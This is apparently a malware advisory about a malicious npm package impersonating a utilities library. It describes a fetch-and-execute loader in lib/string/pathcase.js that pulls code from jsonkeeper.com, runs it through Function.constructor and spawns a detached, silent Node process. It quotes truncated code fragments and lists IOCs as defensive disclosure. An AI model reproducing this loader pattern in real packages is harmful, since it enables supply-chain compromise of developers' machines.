GCVE-110-OSM-2026-7219

This package is a confirmed malicious payload delivery vehicle. The file `lib/string/pathcase.js` — entirely misnamed for a path-casing utility — implements a staged remote code execution chain: it fetches content from `jsonkeeper.com` (a paste/JSON hosting service used as a malware staging server) via `axios.get`, passes the result to `new Function` / `Function.constructor` for dynamic execution, then spawns a detached Node.js child process with `stdio: 'ignore'` and `child.unref()` to persist the payload independently of the parent process. The publisher `golv5884` is a brand-new account (1 day old) with a publisherMaliciousRatio of 1.0 — every other package they have published (`chai-chain-dom`, `notifier-utils`) has already been confirmed malicious at critical severity in OSM. The package impersonates Jon Schlinkert's legitimate `utils` repository to establish false credibility. ENTRY index.js (main: index.js) EXFIL - Fetch and Eval/Exec in lib/string/pathcase.js: "axios.get(api, { headers: { [key]: value } })).data.model; const handler = new F..." - Payload Download from Paste Service in lib/string/pathcase.js: "jsonkeeper.com" - Network Request in lib/string/pathcase.js: "axios.get(" ADDITIONAL FINDINGS - Stealth Background Process Spawning in lib/string/pathcase.js: "spawn("node", [script, JSON.stringify(args)], { detached: true, stdio: "ignore" ..." - Dynamic Code Execution in lib/string/pathcase.js: "Function.constructor(" - Shell Command Execution in lib/string/pathcase.js: "require("child_process")" - Silent Process Execution in lib/string/pathcase.js: "stdio: "ignore"" - Detached Child Process Payload in lib/string/pathcase.js: "spawn("node", [script, JSON.stringify(args)], { detached: true" - Very New NPM Publisher Account (+3 more) PAYLOAD FILES lib/string/pathcase.js INDICATORS (IOCs) - payloadFileHash: f8325fe183028931b2d3e5d8b650e89eac77cb6db44e5eddfa22f87b682c2d14